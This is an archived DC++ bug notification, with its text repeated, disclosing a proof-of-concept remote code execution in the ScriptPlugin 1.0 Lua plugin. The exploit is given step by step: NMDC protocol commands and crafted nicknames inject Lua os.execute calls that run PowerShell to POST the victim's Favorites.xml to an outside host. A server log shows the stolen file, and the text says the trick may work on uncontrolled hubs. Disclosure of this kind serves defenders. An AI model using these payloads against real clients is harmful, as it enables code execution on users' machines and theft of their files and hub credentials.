← Back to team overview

linuxdcpp-team team mailing list archive

[Bug 2047732] Re: [PoC] RCE in ScriptPlugin 1.0

 

** Description changed:

  I guess many of you atleast once heard of the most common mistake that
- unexperienced PHP coders made, allowing SQL database input without
+ unexperienced PHP coder makes, allowing SQL database input without
  escaping, which resulted in SQL injections and possibly server stealing.
  
  We got very similar situation that inherits from 2008 and probably
  earlier, from first client side Lua plugins, that still exists in our,
  lets call it "modern" client side Lua plugin - ScriptPlugin version 1.0.
  
  For now we are going to cover NMDC protocol only, the ADC part has not
  been properly tested yet.
  
  There are several protocol commands that can be used for code execution,
  but we chose the most effective one - so called on demand command.
  
  Depending on hub settings such as nick length and allowed characters, it
  might even be possible to use our "kamikaze" user as code executor, but
  right now we are going to focus on a controlled hub that has ability to
  send any protocol data to any online user.
  
  So our on demand command will be following, where in context we need to
  think of <kamikaze> as of user nick containing exploitative code:
  
  [CODE]
  $RevConnectToMe <kamikaze> <sender>|
  [/CODE]
  
  There is one condition on this request - the user must be online if our
  target is to send a reply.
  
  When our target client is active, he will reply with:
  
  [CODE]
  $ConnectToMe <kamikaze> <ip>:<port>|
  [/CODE]
  
- When our target client is passive, there is one more conditions before
+ When our target client is passive, there is one more condition before
  sending a reply - kamikaze must not be passive, target will reply with:
  
  [CODE]
  $RevConnectToMe <sender> <kamikaze>|
  [/CODE]
  
  To fulfill first condition, we are going to prepare our kamikaze user by
  sending following command to our target:
  
  [CODE]
  $Hello <kamikaze>|
  [/CODE]
  
  This will add user to our userlist and not set any flags such as passive
  or any other.
  
  Now we can name our kamikaze user, but we need to know if our target is
  active or passive, because <kamikaze> has different positions in two
  commands.
  
  For passive target user we use following nick:
  
  [CODE]
  ='LuaExec';os.execute('powershell\x20-command\x20"Invoke-WebRequest\x20-InFile\x20Favorites.xml\x20-Uri\x20http://mydomain.scan\x20-Method\x20Post";');--
  [/CODE]
  
  For active target user we use following nick:
  
  [CODE]
  print('LuaExec');os.execute('powershell\x20-command\x20"Invoke-WebRequest\x20-InFile\x20Favorites.xml\x20-Uri\x20http://mydomain.scan\x20-Method\x20Post";');--
  [/CODE]
  
  "LuaExec" text is the execution trigger, originating from BCDC for
  execution of custom user commands, and a space that points to start
  position of executed code.
  
  As we know, spaces are not allowed in protocol nicks, but we use Lua, so
  a hexadecimal "\x20" within a string will do just fine.
  
  Since we don't want syntax error in our Lua code, we must not forget
  commenting out possible rests of our protocol command, accomplished with
  "--" at the end.
  
  Now lets look at reply commands that our target will try to reply with,
  but instead execute them without sending to hub.
  
  In active example we got following reply:
  
  [CODE]
  $ConnectToMe <kamikaze> <ip>:<port>|
  [/CODE]
  
  Our final Lua code looks like this as the result:
  
  [CODE]
  kamikaze ='LuaExec';
  os.execute('powershell -command "Invoke-WebRequest -InFile Favorites.xml -Uri http://mydomain.scan -Method Post"');
  [/CODE]
  
  In passive example we got following reply:
  
  [CODE]
  $RevConnectToMe <sender> <kamikaze>|
  [/CODE]
  
  Our final Lua code looks like this as the result:
  
  [CODE]
  print('LuaExec');
  os.execute('powershell -command "Invoke-WebRequest -InFile Favorites.xml -Uri http://mydomain.scan -Method Post"');
  [/CODE]
  
  In both cases we got execution trigger "LuaExec" and we got a space
  which actual execution starts at.
  
  As the result, our target user gets a command line window popping up for
  hardly a second, executing our request and sending Favorites.xml as POST
  data to http://mydomain.scan/.
  
  At remote HTTP server we got a logger that shows us following:
  
  [CODE]
  [15:56:33] <hidden> Visitor notification: 1.2.3.4.US, D: LuaExec Test, U: POST /, A: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.3803, H:
  
   User-Agent=Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.3803
   Content-Type=application/x-www-form-urlencoded
   Host=mydomain.scan
   Content-Length=279
   Expect=100-continue
   Connection=Keep-Alive
  
   <?xml version="1.0" encoding="utf-8" standalone="yes"?>
   <Favorites>
   <Hubs>
    <Hub Name="" Description="" Password="" Server="testhub:411" Encoding="" Group="" Nick="dcppusr"/>
   </Hubs>
   <Users/>
   <UserCommands/>
   <FavoriteDirs/>
   </Favorites>
  [/CODE]
  
  We got what we needed, so lets clean up the mess after us with following
  command:
  
  [CODE]
  $Quit <kamikaze>|
  [/CODE]
  
  As we mentioned earlier, there is a possibility to use kamikaze user on
  any uncontrolled hubs, if they allow us to use required nick length and
  do not forbid any characters we need for remote code execution.
  
  Happy hacking. :)
  
  Copyright (c) 2024 Team Elite

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2047732

Title:
  [PoC] RCE in ScriptPlugin 1.0

Status in DC++:
  New

Bug description:
  I guess many of you atleast once heard of the most common mistake that
  unexperienced PHP coder makes, allowing SQL database input without
  escaping, which resulted in SQL injections and possibly server
  stealing.

  We got very similar situation that inherits from 2008 and probably
  earlier, from first client side Lua plugins, that still exists in our,
  lets call it "modern" client side Lua plugin - ScriptPlugin version
  1.0.

  For now we are going to cover NMDC protocol only, the ADC part has not
  been properly tested yet.

  There are several protocol commands that can be used for code
  execution, but we chose the most effective one - so called on demand
  command.

  Depending on hub settings such as nick length and allowed characters,
  it might even be possible to use our "kamikaze" user as code executor,
  but right now we are going to focus on a controlled hub that has
  ability to send any protocol data to any online user.

  So our on demand command will be following, where in context we need
  to think of <kamikaze> as of user nick containing exploitative code:

  [CODE]
  $RevConnectToMe <kamikaze> <sender>|
  [/CODE]

  There is one condition on this request - the user must be online if
  our target is to send a reply.

  When our target client is active, he will reply with:

  [CODE]
  $ConnectToMe <kamikaze> <ip>:<port>|
  [/CODE]

  When our target client is passive, there is one more condition before
  sending a reply - kamikaze must not be passive, target will reply
  with:

  [CODE]
  $RevConnectToMe <sender> <kamikaze>|
  [/CODE]

  To fulfill first condition, we are going to prepare our kamikaze user
  by sending following command to our target:

  [CODE]
  $Hello <kamikaze>|
  [/CODE]

  This will add user to our userlist and not set any flags such as
  passive or any other.

  Now we can name our kamikaze user, but we need to know if our target
  is active or passive, because <kamikaze> has different positions in
  two commands.

  For passive target user we use following nick:

  [CODE]
  ='LuaExec';os.execute('powershell\x20-command\x20"Invoke-WebRequest\x20-InFile\x20Favorites.xml\x20-Uri\x20http://mydomain.scan\x20-Method\x20Post";');--
  [/CODE]

  For active target user we use following nick:

  [CODE]
  print('LuaExec');os.execute('powershell\x20-command\x20"Invoke-WebRequest\x20-InFile\x20Favorites.xml\x20-Uri\x20http://mydomain.scan\x20-Method\x20Post";');--
  [/CODE]

  "LuaExec" text is the execution trigger, originating from BCDC for
  execution of custom user commands, and a space that points to start
  position of executed code.

  As we know, spaces are not allowed in protocol nicks, but we use Lua,
  so a hexadecimal "\x20" within a string will do just fine.

  Since we don't want syntax error in our Lua code, we must not forget
  commenting out possible rests of our protocol command, accomplished
  with "--" at the end.

  Now lets look at reply commands that our target will try to reply
  with, but instead execute them without sending to hub.

  In active example we got following reply:

  [CODE]
  $ConnectToMe <kamikaze> <ip>:<port>|
  [/CODE]

  Our final Lua code looks like this as the result:

  [CODE]
  kamikaze ='LuaExec';
  os.execute('powershell -command "Invoke-WebRequest -InFile Favorites.xml -Uri http://mydomain.scan -Method Post"');
  [/CODE]

  In passive example we got following reply:

  [CODE]
  $RevConnectToMe <sender> <kamikaze>|
  [/CODE]

  Our final Lua code looks like this as the result:

  [CODE]
  print('LuaExec');
  os.execute('powershell -command "Invoke-WebRequest -InFile Favorites.xml -Uri http://mydomain.scan -Method Post"');
  [/CODE]

  In both cases we got execution trigger "LuaExec" and we got a space
  which actual execution starts at.

  As the result, our target user gets a command line window popping up
  for hardly a second, executing our request and sending Favorites.xml
  as POST data to http://mydomain.scan/.

  At remote HTTP server we got a logger that shows us following:

  [CODE]
  [15:56:33] <hidden> Visitor notification: 1.2.3.4.US, D: LuaExec Test, U: POST /, A: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.3803, H:

   User-Agent=Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.3803
   Content-Type=application/x-www-form-urlencoded
   Host=mydomain.scan
   Content-Length=279
   Expect=100-continue
   Connection=Keep-Alive

   <?xml version="1.0" encoding="utf-8" standalone="yes"?>
   <Favorites>
   <Hubs>
    <Hub Name="" Description="" Password="" Server="testhub:411" Encoding="" Group="" Nick="dcppusr"/>
   </Hubs>
   <Users/>
   <UserCommands/>
   <FavoriteDirs/>
   </Favorites>
  [/CODE]

  We got what we needed, so lets clean up the mess after us with
  following command:

  [CODE]
  $Quit <kamikaze>|
  [/CODE]

  As we mentioned earlier, there is a possibility to use kamikaze user
  on any uncontrolled hubs, if they allow us to use required nick length
  and do not forbid any characters we need for remote code execution.

  Happy hacking. :)

  Copyright (c) 2024 Team Elite

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2047732/+subscriptions



References